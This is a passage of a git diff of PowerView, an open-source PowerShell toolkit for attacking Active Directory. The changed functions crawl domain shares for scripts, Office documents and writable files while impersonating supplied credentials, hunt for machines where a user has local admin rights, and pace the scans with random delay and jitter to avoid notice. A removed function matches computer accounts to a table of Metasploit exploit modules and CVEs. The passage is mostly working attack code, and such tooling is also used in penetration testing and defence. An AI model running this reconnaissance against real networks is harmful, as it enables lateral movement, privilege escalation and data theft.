ForEach ($Domain in $TargetDomains) { - $DCSearchPath = "\\$Domain\SYSVOL\" - Write-Verbose "[*] Adding share search path $DCSearchPath" - $Shares += $DCSearchPath + ForEach ($Share in $SearchShares) { + Write-Verbose "Searching share: $Share" + $SearchArgs = @{ + 'Path' = $Share + 'Include' = $Include } - if(!$SearchTerms) { - # search for interesting scripts on SYSVOL - $SearchTerms = @('.vbs', '.bat', '.ps1') + if ($OfficeDocs) { + $SearchArgs['OfficeDocs'] = $OfficeDocs } - } - else { - [array]$ComputerName = @() - - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + if ($FreshEXEs) { + $SearchArgs['FreshEXEs'] = $FreshEXEs } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" + if ($LastAccessTime) { + $SearchArgs['LastAccessTime'] = $LastAccessTime + } + if ($LastWriteTime) { + $SearchArgs['LastWriteTime'] = $LastWriteTime + } + if ($CreationTime) { + $SearchArgs['CreationTime'] = $CreationTime } + if ($CheckWriteAccess) { + $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess + } + Find-InterestingFile @SearchArgs } } - } - - # script block that enumerates shares and files on a server - $HostEnumBlock = { - param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive) - Write-Verbose "ComputerName: $ComputerName" - Write-Verbose "ExcludedShares: $ExcludedShares" - $SearchShares = @() + if ($TokenHandle) { + Invoke-RevertToSelf + } + } - if($ComputerName.StartsWith("\\")) { - # if a share is passed as the server - $SearchShares += $ComputerName + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { - # if we're enumerating the shares on the target server first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # get the shares for this host and display what we find - $Shares = Get-NetShare -ComputerName $ComputerName - ForEach ($Share in $Shares) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } - $NetName = $Share.shi1_netname - $Path = '\\'+$ComputerName+'\'+$NetName + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - # make sure we get a real share name back - if (($NetName) -and ($NetName.trim() -ne '')) { + Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random - # skip this share if it's in the exclude list - if ($ExcludedShares -NotContains $NetName.ToUpper()) { - # check if the user has access to this path - try { - $Null = [IO.Directory]::GetFiles($Path) - $SearchShares += $Path - } - catch { - Write-Verbose "[!] No access to $Path" - } - } - } - } - } - } + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 - ForEach($Share in $SearchShares) { - $SearchArgs = @{ - 'Path' = $Share - 'SearchTerms' = $SearchTerms - 'OfficeDocs' = $OfficeDocs - 'FreshEXEs' = $FreshEXEs - 'LastAccessTime' = $LastAccessTime - 'LastWriteTime' = $LastWriteTime - 'CreationTime' = $CreationTime - 'ExcludeFolders' = $ExcludeFolders - 'ExcludeHidden' = $ExcludeHidden - 'CheckWriteAccess' = $CheckWriteAccess - 'OutFile' = $OutFile - 'UsePSDrive' = $UsePSDrive - } + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Find-InterestingFile @SearchArgs + Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken } } - } - - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" + else { + Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads" - # if we're using threading, kick off the script block with Invoke-ThreadedFunction + # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ - 'Ping' = $(-not $NoPing) + 'Include' = $Include 'ExcludedShares' = $ExcludedShares - 'SearchTerms' = $SearchTerms - 'ExcludeFolders' = $ExcludeFolders 'OfficeDocs' = $OfficeDocs 'ExcludeHidden' = $ExcludeHidden 'FreshEXEs' = $FreshEXEs 'CheckWriteAccess' = $CheckWriteAccess - 'OutFile' = $OutFile - 'UsePSDrive' = $UsePSDrive + 'TokenHandle' = $LogonToken } - # kick off the threaded script block + arguments - if($Shares) { - # pass the shares as the hosts so the threaded function code doesn't have to be hacked up - Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - else { - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } + } - else { - if($Shares){ - $ComputerName = $Shares - } - elseif(-not $NoPing -and ($ComputerName.count -gt 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } - - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 - - $ComputerName | Where-Object {$_} | ForEach-Object { - Write-Verbose "Computer: $_" - $Counter = $Counter + 1 - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))" - - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive - } + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken } } } @@ -11614,896 +16261,616 @@ function Invoke-FileFinder { function Find-LocalAdminAccess { <# - .SYNOPSIS - - Finds machines on the local domain where the current user has - local administrator access. Uses multithreading to - speed up enumeration. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputer, then for - each server it checks if the current user has local administrator - access using Invoke-CheckLocalAdminAccess. - - Idea stolen from the local_admin_search_enum post module in - Metasploit written by: - 'Brandon McCann "zeknox" ' - 'Thomas McCarthy "smilingraccoon" ' - 'Royce Davis "r3dy" ' - - .PARAMETER ComputerName - - Host array to enumerate, passable on the pipeline. - - .PARAMETER ComputerFile - - File of hostnames/IPs to search. - - .PARAMETER ComputerFilter - - Host filter name to query AD for, wildcards accepted. - - .PARAMETER ComputerADSpath - - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER NoPing - - Switch. Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Delay - - Delay between enumerating hosts, defaults to 0 - - .PARAMETER Jitter - - Jitter for the host delay, defaults to +/- 0.3 - - .PARAMETER Domain - - Domain to query for machines, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER SearchForest - - Switch. Search all domains in the forest for target users instead of just - a single domain. - - .PARAMETER Threads - - The maximum concurrent threads to execute. - - .EXAMPLE - - PS C:\> Find-LocalAdminAccess - - Find machines on the local domain where the current user has local - administrator access. - - .EXAMPLE +.SYNOPSIS - PS C:\> Find-LocalAdminAccess -Threads 10 +Finds machines on the local domain where the current user has local administrator access. - Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction - .EXAMPLE +.DESCRIPTION - PS C:\> Find-LocalAdminAccess -Domain testing +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and for each computer it checks if the current user +has local administrator access using Test-AdminAccess. If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. - Find machines on the 'testing' domain where the current user has - local administrator access. +Idea adapted from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' - .EXAMPLE +.PARAMETER ComputerName - PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. - Find which machines in the host list the current user has local - administrator access. +.PARAMETER ComputerDomain - .LINK - - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb - http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/ -#> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] - [String[]] - $ComputerName, - - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, - - [String] - $ComputerFilter, - - [String] - $ComputerADSpath, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [Double] - $Jitter = .3, - - [String] - $Domain, - - [String] - $DomainController, - - [Switch] - $SearchForest, - - [ValidateRange(1,100)] - [Int] - $Threads - ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # random object for delay - $RandNo = New-Object System.Random - - Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay" - - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - - if(!$ComputerName) { - [array]$ComputerName = @() - - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } - } - - # script block that enumerates a server - $HostEnumBlock = { - param($ComputerName, $Ping) - - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # check if the current user has local admin access to this server - $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName - if ($Access.IsAdmin) { - $ComputerName - } - } - } - - } - - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads - } - - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } +Specifies the domain to query for computers, defaults to the current domain. - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 +.PARAMETER ComputerLDAPFilter - ForEach ($Computer in $ComputerName) { +Specifies an LDAP query string that is used to search for computer objects. - $Counter = $Counter + 1 +.PARAMETER ComputerSearchBase - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False - } - } - } -} +.PARAMETER ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. -function Get-ExploitableSystem { -<# - .Synopsis +.PARAMETER ComputerServicePack - This module will query Active Directory for the hostname, OS version, and service pack level - for each computer account. That information is then cross-referenced against a list of common - Metasploit exploits that can be used during penetration testing. +Search computers with a specific service pack, wildcards accepted. - .DESCRIPTION +.PARAMETER ComputerSiteName - This module will query Active Directory for the hostname, OS version, and service pack level - for each computer account. That information is then cross-referenced against a list of common - Metasploit exploits that can be used during penetration testing. The script filters out disabled - domain computers and provides the computer's last logon time to help determine if it's been - decommissioned. Also, since the script uses data tables to output affected systems the results - can be easily piped to other commands such as test-connection or a Export-Csv. +Search computers in the specific AD Site name, wildcards accepted. - .PARAMETER ComputerName +.PARAMETER CheckShareAccess - Return computers with a specific name, wildcards accepted. +Switch. Only display found shares that the local user has access to. - .PARAMETER SPN +.PARAMETER Server - Return computers with a specific service principal name, wildcards accepted. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER OperatingSystem +.PARAMETER SearchScope - Return computers with a specific operating system, wildcards accepted. +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER ServicePack +.PARAMETER ResultPageSize - Return computers with a specific service pack, wildcards accepted. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER Filter +.PARAMETER ServerTimeLimit - A customized ldap filter string to use, e.g. "(description=*admin*)" +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER Ping +.PARAMETER Tombstone - Switch. Ping each host to ensure it's up before enumerating. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER Domain +.PARAMETER Credential - The domain to query for computers, defaults to the current domain. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. - .PARAMETER DomainController +.PARAMETER Delay - Domain controller to reflect LDAP queries through. +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - .PARAMETER ADSpath +.PARAMETER Jitter - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - .PARAMETER Unconstrained +.PARAMETER Threads - Switch. Return computer objects that have unconstrained delegation. +The number of threads to use for user searching, defaults to 20. - .PARAMETER PageSize +.EXAMPLE - The PageSize to set for the LDAP searcher object. +Find-LocalAdminAccess - .PARAMETER Credential +Finds machines in the current domain the current user has admin access to. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.EXAMPLE - .EXAMPLE - - The example below shows the standard command usage. Disabled system are excluded by default, but - the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't - logged on for two or more weeks it's been decommissioned. - PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize - [*] Grabbing computer accounts from Active Directory... - [*] Loading exploit list for critical missing patches... - [*] Checking computers for vulnerable OS and SP levels... - [+] Found 5 potentially vulnerable systems! - ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE - ------------ --------------- ----------- --------- --------- --- - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... +Find-LocalAdminAccess -Domain dev.testlab.local - .EXAMPLE +Finds machines in the dev.testlab.local domain the current user has admin access to. - PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation +.EXAMPLE - How to write the output to a csv file. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-LocalAdminAccess -Domain testlab.local -Credential $Cred - .EXAMPLE +Finds machines in the testlab.local domain that the user with the specified -Credential +has admin access to. - PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping +.OUTPUTS - Return a set of live hosts from the testlab.local domain +String - .LINK - - http://www.netspi.com - https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1 - - .NOTES - - Author: Scott Sutherland - 2015, NetSPI - Modifications to integrate into PowerView by @harmj0y - Version: Get-ExploitableSystem.psm1 v1.1 - Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount" - function found in Carols Perez's PoshSec-Mod project. The general idea is based off of - Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit. +Computer dnshostnames the current user has administrative access to. #> - [CmdletBinding()] + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] Param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] [String] - $ComputerName = '*', + $ComputerLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $SPN, + $ComputerSearchBase, + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] [String] - $OperatingSystem = '*', + $ComputerOperatingSystem, + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] [String] - $ServicePack = '*', + $ComputerServicePack, + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] [String] - $Filter, + $ComputerSiteName, [Switch] - $Ping, + $CheckShareAccess, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $Domain, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $DomainController, + $SearchScope = 'Subtree', - [String] - $ADSpath, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, [Switch] - $Unconstrained, + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $Delay = 0, - [Management.Automation.PSCredential] - $Credential + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 ) - Write-Verbose "[*] Grabbing computer accounts from Active Directory..." - - # Create data table for hostnames, os, and service packs from LDAP - $TableAdsComputers = New-Object System.Data.DataTable - $Null = $TableAdsComputers.Columns.Add('Hostname') - $Null = $TableAdsComputers.Columns.Add('OperatingSystem') - $Null = $TableAdsComputers.Columns.Add('ServicePack') - $Null = $TableAdsComputers.Columns.Add('LastLogon') - - Get-NetComputer -FullData @PSBoundParameters | ForEach-Object { - - $CurrentHost = $_.dnshostname - $CurrentOs = $_.operatingsystem - $CurrentSp = $_.operatingsystemservicepack - $CurrentLast = $_.lastlogon - $CurrentUac = $_.useraccountcontrol - - $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2) - - # Check the 2nd to last value to determine if its disabled - $DisableOffset = $CurrentUacBin.Length - 2 - $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1) - - # Add computer to list if it's enabled - if ($CurrentDisabled -eq 0) { - # Add domain computer to data table - $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) - } - } - - # Status user - Write-Verbose "[*] Loading exploit list for critical missing patches..." - - # ---------------------------------------------------------------- - # Setup data table for list of msf exploits - # ---------------------------------------------------------------- - - # Create data table for list of patches levels with a MSF exploit - $TableExploits = New-Object System.Data.DataTable - $Null = $TableExploits.Columns.Add('OperatingSystem') - $Null = $TableExploits.Columns.Add('ServicePack') - $Null = $TableExploits.Columns.Add('MsfModule') - $Null = $TableExploits.Columns.Add('CVE') - - # Add exploits to data table - $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") - $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 